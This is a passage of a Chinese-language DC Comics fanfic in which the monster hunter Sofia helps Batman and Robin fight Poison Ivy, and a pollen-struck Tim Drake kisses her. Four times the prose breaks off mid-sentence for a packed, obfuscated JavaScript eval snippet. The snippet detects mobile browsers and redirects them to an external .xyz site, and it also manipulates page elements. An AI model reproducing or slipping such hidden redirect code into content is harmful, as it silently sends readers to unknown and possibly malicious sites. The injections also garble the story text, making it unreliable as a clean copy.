和索菲亚住在一起后，收入来源成了问题，少女索性找了份在快餐店炸薯条的工作，且大多数时候都是白班，让斯蒂芬妮能空出晚上的时间找自己罪犯老爹的线索以及变身搅局者去伸张正义。 当然义警事业也没那么顺利，好几次碰到了夜翼，罗宾或者蝙蝠女，这些义警前辈大多会劝初出茅庐的搅局者不要以身涉险，斯蒂芬妮全当耳旁风，就算是蝙蝠侠来了也没办法让搅局者当场毕业 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15859244|175935||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 只有一次，罗宾远远看到了她，询问猫头鹰的去向并向斯蒂芬妮解释哈里森家的案子和猫头鹰有关，只有找到猫头鹰才能找到真相。 斯蒂芬妮想把知道的事都说出来让这群和蝙蝠侠有关的义警不要再怀疑索菲亚，但是想到舍友脖子上刚刚愈合的伤口最终还是选择装傻充愣。 等蝙蝠侠发现了猫头鹰法庭再说吧。 索菲亚吸取了作为利爪翻车从而被同事暴打的教训，老老实实的只作为猎魔人出动，也是或多或少推进了系统的几个捕猎的任务，攒下了一点家底。 但说来奇怪，哥谭几乎找不到什么和魔法有关的神秘生物，只有零零散散的几只食尸鬼，更不说吸血鬼，狼人这种明星物种。 可惜的是，索菲亚半夜遇到的人形蝙蝠怪物明明完全符合印尼的传统故事里以吸食血液的蝙蝠怪物阿胡的描述，但系统仍旧并不认同人蝠作为可讨伐怪物的身份。 一时之间，就连索菲亚也摸不清系统的区分方式。 如果一个怪物长得像怪物行为像怪物，为什么不能当做怪物猎杀掉呢？ 罗宾到的很快，少年把人蝠捆好后就注射了调配好的解毒剂，不出半刻人蝠恢复了人类时的样貌。 “朗斯特姆教授只是因为实验出了问题突变成这个样子，在无意识状况下进行袭击行为，而且并没有人受伤，不是吗？” “不过还是得让他长点记性，不能什么实验都往自己身上做，我会负责教育他的。”罗宾干脆利落的带走了人蝠还不忘从腰带里掏出几块巧克力递给索菲亚“结束了工作记得早点回家，猎魔人小姐。” 捏着巧克力的索菲亚思考片刻，开始寻找另一个疑似怪物的目标。 只可惜在哥谭转了大半圈都没找到哪怕一点点迹象，抢劫犯都打晕了三四个，罗宾也来来回回经过好几次，终于落在了索菲亚身旁。 “你在找什么吗？或许我可以帮忙。” 索菲亚摇了摇头，但突然想起最近很难看到的黑色身影开口问道。 “蝙蝠侠最近不在吗？” “其实他已经回来了。” 忙碌了一夜的少年难得有了喘口气的时间，和索菲亚有一搭没一搭的聊天。 “你还在上学吗？学校生活怎么样？” “烂透了。”少女的声音融化在风里，带着柑橘的气味萦绕在罗宾身旁。“罗宾也在上学吗？” “其实罗宾是全职工作，全年无休。”罗宾眨了眨蓝色的眼睛，轻笑道“蝙蝠侠会抓住喜欢夜里出来游荡的小孩当罗宾，直到罗宾长大就换一个新的。” “那我估计是来不及了，我已经长大了。”索菲亚侧头看向罗宾，目测对方和她差不了多高“你也长大了，会不会明年就长到一米八被开除掉。” “借你吉言。”罗宾的动作突然停顿了一下，过了会就挂着歉意的笑要离开“下次见，猎魔人小姐。” 索菲亚轻声回应，看着自由的罗宾鸟重新飞回了哥谭，回到了蝙蝠侠的身边。 18. 第 18 章 Tina：下周一你就要复课了吗？ Tina：好耶，一想到又可以在学校见到你我就高兴。 Tina：那这周末我们要不要出去玩？回了学校到时候天天都在上那个破课，无聊的要死。 Sofia：去哪玩？要吃饭吗？ Tina：当然要吃饭啊，我在tiktok刷到哥谭新开的餐厅，装修特别漂亮，均价也不是很贵，我们去吃漂亮饭怎么样？ Tina：白天的话，我们去植物园办的植物展怎么样？据说引进了很多新培育的品种，光是看介绍就感觉会很漂亮。 Sofia：很好吃吗？ Sofia：可。 在家里快乐的时间总是很短暂，索菲亚还没来得及享受快乐的停课时间就眼睁睁看着上学的日子近在眼前，蒂娜显然也闲的发疯忽略了一大圈的朋友找到了索菲亚头上。 斯蒂芬妮成天看白天缩在家里的索菲亚有时候也有些头疼，难得遇上了机会也顾不上吃醋的问题，推着索菲亚就往外送。 “你在家要发霉了，好不容易你的同学约你出门还不去？” “那你怎么办？到时候我出门了，你一个人在家不会伤心吗？” 斯蒂芬妮挑眉，扬起了嘴角。 “当然不会，我还可以上班，上班使我快乐。” 两个人在衣柜前挑挑拣拣，最后还是决定让索菲亚穿着平时的衣服去就可以，白色带花边的短袖衬衫配深蓝色牛仔裤，包里带了些饼干巧克力之类的零食用来垫肚子。 为防止哥谭一向颇为神经的天气背刺，斯蒂芬妮还塞了件薄外套进去。 时间过得很快，转眼就到了约好的那天，是个难得的凉爽阴天，虽然拍照估计不会太好看，但至少体感上会舒服不少。 索菲亚到植物园门口的时候，蒂娜还堵在路上，只能狂发快速等待的表情包表达愤怒。 门口摆着宣传活动的物料，据说是从亚马逊河流域移植而来的珍稀植物，名字长的让人怀疑起名的人是不是脸在键盘上滚了一圈，看图片这种植物的花非常艳丽，大概率会被分为有毒的范畴。 索菲亚的脑袋转来转去，实在没能从图片上长得像植物大战僵尸同款大嘴花的植物上看出一丝美感，完全无法理解哥谭人的神奇的审美。 “爸爸，这是屎吗？”身旁的小女孩开口询问身边的家长。 “这不是屎好孩子，这是花。” 男人的语气越来越弱，充满了不确定性。 “植物园这么做一定有他的道理。” 索菲亚站在人群中，满是对于白天哥谭的陌生，夜晚的哥谭群魔乱舞，没想到到了白天反而成了抽象遍地的佛罗里达。 也是，佛罗里达俗称小哥谭，抽象是应该的。 人群中还有牵着比自身还大的狗的巨力小学生，有穿着裙子浓妆艳抹的，呃，青春男大，还有头发都快掉完的教授带着几个脸上满是死气的倒霉研究生在布置会场。 人越来越多，潮水一样的人都顺着植物园的大门进入其中，索菲亚无力的蹲在原地等蒂娜。 “索菲亚这边这边，我来了。” 蒂娜背着单肩包一路小跑过来，累的在原地喘气。 “真是服了，植物园平时冷清的要死，哪里来那么多人。” “没事，时间还早。” 蒂娜今天扎了高马尾，发侧带上了星星图案的蓝色发卡，白色的抹胸裙上带着蓝色粉色的小花，只是看上去就让人觉得夏日特有的烦躁都少了许多。 索菲亚顺手接过蒂娜手里的包背在肩上，两人便一边聊天一边排队。 蒂娜本来想自己把作业收尾就好，但重新做詹姆斯摆烂的内容还是让人头大，ddl又火烧眉毛。这时提姆主动提出一起帮忙，俩人没多久就把这个作业彻底结束掉，只差下周五的presentation。 “你可以喊我的，我在家也没事干。” “我本来以为自己能解决嘛，而且你都停课了我实在不好麻烦你了。” “不过，我还有件大事发生，我现在还没告诉别人呢。” 蒂娜降低了声音，在索菲亚耳边低语。 “我和隔壁班的汤姆谈上了。” “谁？” “你不喜欢参加活动，让我想想怎么解释。嗯，就是隔壁班的班长，那个男生成绩还不错对外也挺有礼貌的，他上次在足球比赛的表现不错。”蒂娜顿了顿再继续说道“他有在用心追我，我觉得他人还不错就答应了。” “你和他关系很好吗？” “一般吧，他追我之前我都没和他说过几句话，但学校不都是这样吗？先谈再了解，不合适再分手。” 索菲亚欲言又止，但是看着蒂娜上完妆后几乎看不到毛孔的精致脸庞最后还是没能说出质疑的话。 “你喜欢就好。” “至少汤姆现在还很加分，要是不合适我下个月就能踹了他。” 俩人在珍稀植物的周围绕了好几圈，囫囵吞枣的看了好几遍，介绍上的单词一个没记住，索菲亚只记住了蒂娜吐槽自己脚踏两条船的人渣前男友，那哥们谈了恋爱之后才发现自己是男同，分手后快乐的和男朋友双宿双飞去了，现在还能在学校的角落里看到抱着亲嘴的这哥俩。 内容上有些好笑，但看着蒂娜无语的表情，索菲亚努力克制自己不要笑的太大声。 这时，人群突然变得嘈杂。 是和本身就有的热闹气氛完全不同的，带着紧张和恐惧的嘈杂，质疑，低语，突然加快的脚步声，小孩子打破当前氛围的哭声，这些声音让索菲亚的太阳穴突突直跳。 “怎么回事，怎么都开始往外走了？”蒂娜发出疑问。 这也是索菲亚想问的。 发生什么事了？ 接下来是浪潮一样的尖叫声，只见被刻意隔起来的存放珍惜植物的场馆出现了地面开裂的声响，接着巨大的比人还粗的植物拔地而出，倏然矗立在植物园的中央。 也不知道这些带着藤蔓的植物是怎么做到的，同时在一根藤蔓上同时开出了不一样的花，此时珍稀植物的那朵堪称辣眼睛的花在藤蔓上格外显眼，对所有人都进行着精神攻击。 红色长发的有着植物一样绿色皮肤，本身长的就像玫瑰花成精的女性被藤蔓托起缓慢上升。 人群的杂音更大了，索菲亚刚想拉着蒂娜离开，却摸了个空，转身却发现人不知道去了哪里。 茫然的逆着人群找到了没什么人的地方，索菲亚蹲在角落其他联系蒂娜，却没收到回信。 好在蝙蝠侠很快就和罗宾出现在现场，索菲亚干脆摸出零食打开包装，一边吃一边看蝙蝠侠打架。 哇塞，蝙蝠侠躲过了攻击，并给了毒藤女一拳。 哇哦，罗宾被一藤蔓抽开了。 蝙蝠侠又来了，似乎在找什么东西。 等等，他为什么被藤蔓吊起来了，这是可以播的吗？ 索菲亚看傻了，险些把巧克力塞进鼻子里。 这就是哥谭反派吗？这么吓人。 罗宾又回来了，似乎拿了什么东西对着植物开始喷。 植物慢慢的缩回去了好像。 这是什么？不会是除草剂吧，有点幽默了蝙蝠侠。 等等，罗宾为什么也被捆起来了？ 好，蝙蝠侠拿出了新的除草剂继续喷射。 很好，优势在我，毒藤女已落到下风。 罗宾被放了下来，只是没有被遮住的下半张脸在索菲亚看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15859245|175935||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来属实是有点熟悉，像极了自己在学校没事干就看着发呆的那张脸。 不会吧，提姆怎么看都是个柔软的需要保护的小男孩，哪来的时间做罗宾。 不行，发型也好像，他的伪装是不是有点拙劣，真的不会被人认出来吗？ 想起来自己之前同样拙劣的推理过程，索菲亚也是说不出话来，像是吃了半斤苍蝇一样无语。 救命发现自己柔弱的同桌是哥谭黑漆漆身边的小罗宾鸟要怎么调理。 能用木棍把自己敲到失忆吗？真的不会被蝙蝠侠灭口吗？ 后知后觉意识到新罗宾是自己的好同桌，索菲亚笑不出来了，看着自己的好朋友被藤蔓抽的四处乱飞，索菲亚也跟着在内心尖叫。 同桌，你先别死！先活着。 同桌！ 索菲亚干脆从背包里掏出多米诺面具扣在脸上翻出钩爪枪，把背包藏在了隐蔽处，披上外套拿兜帽罩住脑袋就直直冲了上去。 太棒了，我打毒藤女，真的假的。 钻进场馆，索菲亚一眼就在一片断壁残垣里看到了罗宾掉落的那瓶除草剂，努力降低自己的存在感，不着痕迹的移动到除草剂附近。 眼疾手快将除草剂拿在手里，少女便冲进战场利用钩爪枪绕到毒藤女身后，毒藤女被蝙蝠侠和罗宾完全吸取了注意力，只有几根细小的藤蔓察觉到索菲亚的存在，还来不及反应就被除草剂喷了个正着。 毒藤女发出哀嚎，藤蔓对着索菲亚所在的方向抽去，罗宾同样看到了出现在现场的少女，没有片刻犹豫便调整姿势，一个翻滚便化解了坠落可能带来的伤害。 索菲亚看到脱困的罗宾，一个抛物线就将除草剂向少年抛去，自己则侧身避开了藤蔓。 罗宾喷射除草剂的动作速度加快了不少，蝙蝠侠的攻击更加猛烈，几乎是拿着除草剂对着毒藤女贴脸开大，吸引了不少火力。 “不！你不能这么做蝙蝠侠。” “我当然可以，艾薇，你该回去了。” 蝙蝠侠落在摔落在地上的毒藤女面前，没有发出一丝声音，黑色的披风落在地面上，让人想踩一脚看看这位黑暗骑士会不会被拦住脚步。 好在索菲亚控制住了自己犯贱的欲望，乖巧的站在边缘看蝙蝠侠和罗宾一起打包毒藤女。 罗宾在蝙蝠侠身边似乎说了什么没有跟随导师一起离开，反而留了下来向着索菲亚的方向走来。 “你知道吗猎魔人小姐，你这样太危险了。” “我觉得没有被人吊起来危险。”索菲亚不甘示弱的瞪了回去，阳光格外刺眼让带着美瞳的眼睛流下几滴生理泪水。 “我很感谢你对于义警事业的支持，但希望你下次能保证自己的安全好吗，小姐。” 面具下的提姆德雷克努力摆出一幅严肃的样子，但索菲亚实在难以表现出一点恐惧。 “好好好，下次一定。” 还好朋友呢，做了罗宾不告诉我，来帮你还要被说。 感谢你对义警事业的支持～ 索菲亚撇了撇嘴，侧头全把少年的话当耳旁风。 罗宾无奈的叹了口气，对着油盐不进的少女实在无能无力，刚要转身离开，余光就瞥到绿色的不明物体出现。 “闪开索菲亚。” 少年完全忘记了掩盖身份，用罗宾镖掷向不明物，飞镖脱手后才意识到这是一颗植物的孢子，来不及闪避，孢子便被飞镖扎破爆炸，将粉色的粉末状物体在空间内炸开。 即使及时屏息，少年还是吸入了剂量不小的花粉，甜腻的花粉似乎没有其他作用，只是在少年转身查看少女情况时，面对没有任何变化的索菲亚，突然加快的心跳和变红的脸颊向罗宾证明了花粉的作用。 他已经坠入爱河。 19. 第 19 章 那天发生的事，比梦还要荒唐几分。 甜腻的花粉气息弥漫在空气中在阳光的照射下闪闪发光，少年闭上了双眼拉近了两人的距离，索菲亚几乎看得到对方细腻的毛孔。 远近于社交距离，甚至比朋友的距离更近的，超乎友谊和家人的距离中，少年舔舐着少女的嘴唇，想要翘出一个缝隙，进入其中获得更多。 陌生的，过往十五年人生中从未体会到的新奇经历调动着全身的感官，皮肤接触间体温也随之提高，荷尔蒙的分泌快速影响到身体各处。胸腔内是什么东西在“咚咚”作响，似乎是少年的心跳，也或许是索菲亚难以控制的随之一同加快的心跳，一鼓一鼓几乎要冲出身体去表达些什么。 接下来是海盐的味道，清新而淡雅，像极了少年给人的印象，礼貌而疏远，荷尔蒙的影响让这种平时总能闻到的气味也显得格外香甜，有些陌生却让索菲亚乐于沉溺其中。 “对方受异常因素影响，请宿主认真对待。” “宿主请注意，不要被虚假的感情所影响。” 索菲亚当然知道这是假的，提姆德雷克是个很有距离感的人，即使只在一起相处了三个月，少女仍旧能够从细枝末节里感受到少年对外人的疏远。他在自己构建出的世界里自娱自乐，然后按部就班的走着这个阶层每个孩子都会走的完美道路，成为父母希望的精英。 如果不是在同一所学校，索菲亚永远都不会遇上这样的人，除非是提姆倒霉到沦为杀手组织的目标，两人或许才能在鲜血和死亡中有一些短暂的接触。 现在这些美好的，梦幻如泡沫一样的相处，不过是化学因素的影响，等到药物的作用消散，所有的激情都会随激素褪去后，成为可笑的谎言。 但是那又怎么样？只要答应下来，只要接受，就可以用世俗的关系把他捆在自己的身边，用所谓爱人的借口独占那份独一无二的感情。这不是爱情也没关系，就算只是有些扭曲的友情索菲亚也不希望会有其他人觊觎这份情感。 索菲亚放弃了抵抗，张开唇瓣用舌尖追逐着少年，加深了这个满是虚假和谎言的吻。 提姆的身体一顿，想要拉开距离，当注视着索菲亚被美瞳遮挡的眼睛时，片刻的清醒再次被洪水般的爱恋所填满。 “我爱你。” 索菲亚没有回应，但是牢牢的抓住了少年的手，感受一同加速的心跳，凝视着罗宾面具下大海般澄澈的眼睛，将错就错。 一吻结束，罗宾几乎把自己整个人挂在索菲亚身上，孜孜不倦的表达着爱意。 “为什么要离开？你不愿意和我一起吗？” “索菲亚别离开我，带上我一起走好吗？” 少年把脸送进索菲亚的掌心，像是只粘人的奶猫轻轻的磨蹭，再度将少女拥在怀中。 “蝙蝠侠发现你不见了怎么办？” 索菲亚抬头，却被罗宾用手捂住了眼睛。 “没关系的，如果蝙蝠侠不同意我们在一起，我就跟着你走，没有人能阻拦我们，没有人能拆散我们。”少年的嗓音有些沙哑，却又透露出十足的坚定。 “我们先走，这里的花粉太呛了。” 努力扛着罗宾离开的索菲亚感觉自己扁扁的走开了，即使是抱着混淆感情的态度想要把提姆绑在身边，但是他目前的炸裂发言还是让索菲亚尴尬的不行。 不过之前没听过这种话，再多听一会。 索菲亚甚至不忘用手机开了录音，期待好朋友清醒后听到录音尴尬的样子。 这个家不能只有一只小鸟尴尬。 两人一起在哥谭的大街小巷游走，把企图作恶的混混倒吊在路灯上，把走私毒品的企鹅人倒吊在滴水兽上，还遇到了作为搅局者行动的斯蒂芬妮。 即使没摘下面具，索菲亚也能看出紫色披风下少女无限的震惊。 不是，姐们。 谁家好朋友是这样的。 期间，蝙蝠侠有意无意的经过几次，但都被罗宾当做空气，哥谭黑漆漆不赞同的眼神存在感极高，即便如此罗宾还在叽叽喳喳的表达着自己的爱意，已经聊到索菲亚啊索菲亚，你为什么是索菲亚了。 不是索菲亚到底还能是谁啊，雨夜猫头鹰怪人吗。 同桌你清醒一点。 明天日子不过了吗？ 你已经被爱情侵蚀到忘记了罗宾不应该认识哥谭中学的索菲亚的设定了吗？ 直到深夜，哥谭街头几乎没有人影出现后，罗宾才依依不舍的向索菲亚道别。 “我们还会见面的，不要忘记我好吗亲爱的。” 耳边传来的满是夜翼惊天动地的笑声，就连一向成熟的芭芭拉也没憋住笑容几次破功，蝙蝠侠作为导师倒没有过分的表现，但仔细看也能看到面具下的嘴角忍不住上扬。 “提姆少爷，很遗憾打断您的追爱过程，但我想您需要处理身上的伤口不是吗？至少让索菲亚小姐明天不会因为你的伤口而看破罗宾的身份，从而让全哥谭都知道这份好消息。” “我已经醒了。”提姆的语气有些低沉，频繁求爱的结果就是嗓子也变得沙哑，或许也有花粉的影响？ 在注射解药后，不过几分钟少年就重新找回了理智，记忆里无论是和朋友接吻还是频繁的求爱过程都让初出茅庐的少年尴尬的几乎用脚趾抠烂自己的靴子。 最可怕的是，自己全程忘记切断通讯，这也就意味着频道里的所有人，夜翼，神谕，阿福，以及自己的导师蝙蝠侠都听的清清楚楚，新人罗宾是如何在失智的情况下对着自己的同学表达爱意的。 那些情意缠绵此时看来只剩下离谱的话语，提姆自己都不知道是从哪里看来的。 好在蝙蝠侠提起了另一件事才让提姆稍微转移了被嘲笑的尴尬。 “罗宾，报告毒藤女现场出现的对象身份。” “好的B。”罗宾提起精神，一边捧着阿福给泡的热可可一边和导师解释。“索菲亚.布兰登，是我的同学，她本身有猎魔人的背景，会一点魔法，我们上次见面一起处理了下水道里潜藏的吃人怪物，她把这种怪物称为食尸鬼。” “我收集食尸鬼死后化成的灰尘并进行分析，很可惜只是些普通的灰尘，被救出来的幸存者是个八岁的男孩，和父母走失后失足落入下水道，因为伤口感染严重只能截肢，但是并未化验出毒素，可以初步判断食尸鬼不具备使用毒素捕获 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15859246|175935||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 猎物的能力。” “两周前，索菲亚在学校和同学詹姆斯发生矛盾，她因为殴打同学被学校要求停课。”索菲亚的身影再次出现在眼前，提姆晃了晃脑袋保持清醒继续说道“不过她不是什么坏姑娘，和詹姆斯动手也是因为对方出口伤人，只是有点冲动。” “我的判断是我们可以和索菲亚继续接触，拓宽关于哥谭的魔法生物的情报网。” 少年低头小口小口喝着热可可，白天就被迫和毒藤女搏斗一直到深夜提姆都在高强度运动，结果就是现在坐在椅子上就已经几乎耗尽了所有力气，只能靠摄入高热量饮料来快速恢复体力。 “放心吧，布鲁斯，我会解决和索菲亚的事的，即便我们分手也不会影响到夜巡。” “您现在就已经想好分手的事了吗？对于年轻女孩来讲，刚恋爱不到一天就被踹可不是什么美好的经历。”阿尔弗雷德送上了小甜饼给这一家子夜行生物补充体力“老爷，我想提姆少爷可以自己解决问题，您可以收起自己无处可放的控制欲了，现在上床休息的话在明天上午十点的会议前，您至少还可以睡上五个小时。” “阿福，我……” “给孩子们做个好榜样好吗？布鲁斯老爷。” 高大，强壮的哥谭恐惧的化身，此时只能被迫放下手头的工作，毛茸茸的带着自己的学生回到地面上的韦恩庄园，进行人类都会进行的基本日常活动——睡觉。 提姆躺在柔软的床上，只是闭上眼睛，黑发的少女就再次出现在脑海中，和怪物战斗的索菲亚，懒洋洋趴在桌子上睡个不停的索菲亚，带着面具的索菲亚，被他抱在怀里用金色瞳孔凝视着罗宾的索菲亚。 索菲亚，索菲亚，索菲亚，索菲亚…… 这不对劲。 提姆辗转反侧，脑内同桌的身影依然挥之不去，反而越来越清晰。 这是不对的。 提姆告诉自己。 他比任何人都清楚，两人的关系只是朋友，或许因为共同存在秘密拉近了两人的关系，但这并不意味着能从朋友一下跨到爱人的关系，两人并不了解彼此。 罗宾不知道是什么让少女决定成为猎魔人，又因为什么原因离开家乡来到哥谭。 索菲亚同样不知道提摩西德雷克下定了怎样的决心选择成为罗宾，牺牲自己的时间和精力维护哥谭的秩序。 提姆不了解索菲亚身体下的灵魂，不了解她的想法，不知道她的过去，她的痛苦和快乐。 所有的一切，提摩西德雷克一概不知。 他只是从学校的相处中窥见了猎魔人少女的冰山一角并被吸引，作为侦探的灵魂本能的追逐着秘密，但这份好奇远远无法称之为爱。 混淆友情和爱情，用这份被混淆的感情来应付索菲亚，这是不公平的。 索菲亚是个好姑娘，她应该得到纯粹的不掺杂一丝杂质的爱而不是带着谎言和欺骗的感情。 提姆做不到将错就错，理智告诉他应该快刀斩乱麻，在痛苦来临前就结束错误的一切。 可是阿福说的没错，刚刚交往就分开，索菲亚会露出怎样的表情？她会伤心吗？ 少年辗转反侧，一夜未眠。 20. 第 20 章 时隔两周重新回到校园，索菲亚的生活发生了很大的变化。 第一当然是和好同桌提姆从同学发展到好朋友再到现在确定关系不过八个小时的情侣关系。这段关系的发展速度几乎超过了索菲亚过去十五年所有的固化关系，大多数时候作为杀手和客户最大的关系就是见面后送对方去死。 第二件事自然是，提姆本人的变化。两周前他才刚刚成为罗宾，完全无法调节日夜颠倒的作息，和索菲亚一起困得睁不开眼睛，被频频点名批评。如今再看，作为新的罗宾提姆快速适应了义警生活，上课时能时刻表现出认真听讲的清醒状态，即便是老师也挑不出什么错来。 但索菲亚实在不相信一个跟导师外出夜巡到凌晨三点，大概率还有在黑漆漆的洞穴里自觉加班的人类在睡眠时间严重缺乏的情况下还可以保持清醒。 直到下课提姆离开座位活动的时候，偷偷拧开了新晋男友保温杯的索菲亚，只闻到了弥漫着咖啡香气的液体包裹着冰块在不锈钢杯壁上碰撞的声音。 救命，到底谁在大早上喝冰美式。 回到了座位的提姆当然发现了异常，甚至还能乐呵呵的凑过来问索菲亚要不要喝一点保持清醒。 吃不了一点苦的索菲亚几乎把脑袋摇成风扇，支着脑袋在教室里四处观察。 蒂娜昨天被人群裹挟着到了安全区域，本来没有受伤已经万事大吉，只是没想到在GCPD做笔录出来的路上，在被拖把拖得锃光瓦亮的地板上一个滑铲，直直飞出去几米远。 等到意识过来的警员过来搀扶起蒂娜的时候，蒂娜只觉得一阵剧痛，到了医院拍了X光片才发现竟然被摔成了骨折。 有的人能在毒藤女造成的骚乱中毫发无伤，但是却在GCPD的门口摔成骨折，怎么不算一种黑色幽默。 看得消息笑的花枝乱颤的索菲亚侧头看到了认真听讲的同桌，提姆今天穿了件纯白的短袖衬衫，露出白皙的小臂和手腕。 天气虽然热成了蒸笼，但好在教室的中央空调一向温度调的很低，省去了提姆还得解开第一颗扣子散热的麻烦。 当然了，索菲亚知道更深层次的理由。 昨天白天在植物园里，毒藤女艾薇操控的藤蔓当时将少年捆了个结实，在逃脱时罗宾的锁骨狠狠地挨了一下，当时大家都忙的乱七八糟完全没空顾得上这点小伤，等到索菲亚跟着完全失智的提姆在哥谭自由飞翔追求爱情的时候，少女才看到了横贯少年精致锁骨上的一道红痕。 比起其他伤口其实算不上什么，但是出现在这种地方真的就有点好笑。 索菲亚甚至脑补了提姆要怎么向家长解释锁骨上的红痕，总不能说从楼梯上摔下来磕到锁骨了吧。 视线里出现了提姆的那双手，纤长，骨感，是护士在扎针的时候最喜欢的类型，又或者是玩bjd的时候会特意用来展示真实性的手部部件。右手拿着笔摆出一副认真听讲的样子，实际上每隔几秒就转个圈看得出来主人的心不在焉，左手则自然的摆在桌子上，食指时不时在桌面上敲一下。 索菲亚实在看得心痒，就用食指戳同桌的胳膊，反复看手指将皮肤轻轻按压后快速恢复的样子。 提姆敲击的动作顿了一下，笔也停在了指尖，不着痕迹的看向索菲亚，又很快把注意力放在讲台上。 索菲亚当然察觉到同桌眼神里的不赞成，但还是我行我素的用手指点在少年的手臂上。 这么说来，提姆真的很像是那种做工精致价格昂贵的高级bjd成精，皮肤白皙，却并非是马斯克那种死猪肉一样的白法，而是肉色的健康的如同瓷器一样清透的白，且少年安静状况下的体温比索菲亚低上一点，在夏日简直是手贱星人最好的哄自己上课的神秘妙妙工具。 提姆没有特地分眼神制止索菲亚，而是将左手伸到桌子下抓住了索菲亚频繁作恶的手，将坏心眼的那只手抓在了手里，稍微用了些力气捏了捏才松开。 本以为这就会结束，却不想把猎魔人的好胜心激发了出来。 索菲亚干脆拉住了那只没来得及收起的属于男友的手，用手指一点一点撬开了手心。其余四指撑住了对方想要握紧的手指，食指在少年的掌心虚虚的描画，摩挲着独属于身边人的掌纹。 生命线很长，看得出来自己的好同桌会很长寿，看来即使兼职义警也不会让少年因为死亡提前退役。事业线同样优秀，不过索菲亚也对于提姆的能力充满了自信，即使不做罗宾只是作为德雷克未来的继承人，少年也能用自己的智慧让家族的事业更上一层楼。 唯一可惜的是，少年的爱情线几乎却很浅，不过这样很很好，毕竟智者不入爱河，罗宾只是失去了爱情，可是他获得了事业啊，这不是爽麻了。 索菲亚依依不舍的松开了同桌的手，开始从书包里掏零食吃，找来找去只找到一根巧克力棒。 低着头把巧克力两口塞进嘴里，味觉清晰的将带点苦味的甜美滋味传递到大脑中，只是被巧克力包裹的威化饼实在过于酥脆，为了不过于明显被抓包，索菲亚只能将威化饼含化了再一点一点的咽了下去。 吃完最后一口巧克力，口腔里的水分几乎全被这点零食所带走，干涸的泛着苦味的余味从喉咙里泛起，索菲亚皱紧了眉头，右手握拳支在桌面遮住了嘴。 救命，为什么后味那么苦。 这是什么？毒药吗？ 这时才想起来看包装纸的索菲亚看到硕大的百分百纯黑巧的字眼差点一个白眼离开这个世界。 面前正摆着同桌的保温杯，顺手拧开并灌入一大口的索菲亚还未意识到有哪里不对。 不过片刻，就被带着冰块的醇厚苦涩的由上好咖啡豆制成的液体进行了感官上的另一重袭击。 太坏了，是冰美式，我们没救了。 转头看向提姆，只看到少年还未完全收回的手，只从位置就能判断出正是自己的好同桌把装满冰美式的杯子推到了二人中间的位置，看着索菲亚面临冰美式打人事件。 另一铁证当然是，少年的肩膀都微微地颤动，结合微微发红的耳朵，不是坏心眼罗宾鸟还能是谁？ 索菲亚装作无事发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15859247|175935||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生，咽下冰美式，故作镇定的拧上了瓶盖，重新把杯子推回了对方的桌面上。 很神奇吧，猫头鹰杀手的表情管理技术。 下课铃刚刚打响，索菲亚就看到了再次要出去活动的提姆，一天下来少年频繁外出的行为不免让索菲亚怀疑。 冰美式这么利尿吗？ 夜幕降临，结束了一天行程的提姆正在蝙蝠洞换制服，即便戴上了战术手套，但掌心被手指划过略带瘙痒的，让大脑都片刻暂停思考的触感仿佛还停留在手上。 将脑子里纷杂的思绪都清除出去，少年义警重拾了过往的清醒和冷静。 今晚除去夜巡，还有一件事需要关注。 那个被索菲亚和罗宾第一次行动时救出来的孩子出现了意外。 提姆还没来得及告诉索菲亚关于那个男孩的事，那个男孩叫做麦克.施耐德，父亲彼得.施耐德就职于鲍里斯慈善基金会，负责为鲍里斯家族时不时捐出的善款进行统一管理，母亲玛利亚.芬恩曾经在鲍里斯投资的研究所工作，只是在生下孩子后选择离开职场回归家庭。 原本这是一个让人痛心的意外，哥谭从不缺少这样的意外，但这个孩子在不幸中又得到了些许的幸运，至少他的父母还在，能够照顾他，直到他走出泥潭重新走出生命的阴霾。 于是新的意外出现了，麦克的父母失踪了。 一周前的周一是麦克出院的日子，按照计划他的父母会把他接回家，然后在韦恩捐赠的善款的帮助下，每周接受固定时间的复健以及心理辅导治疗来重新回归生活。 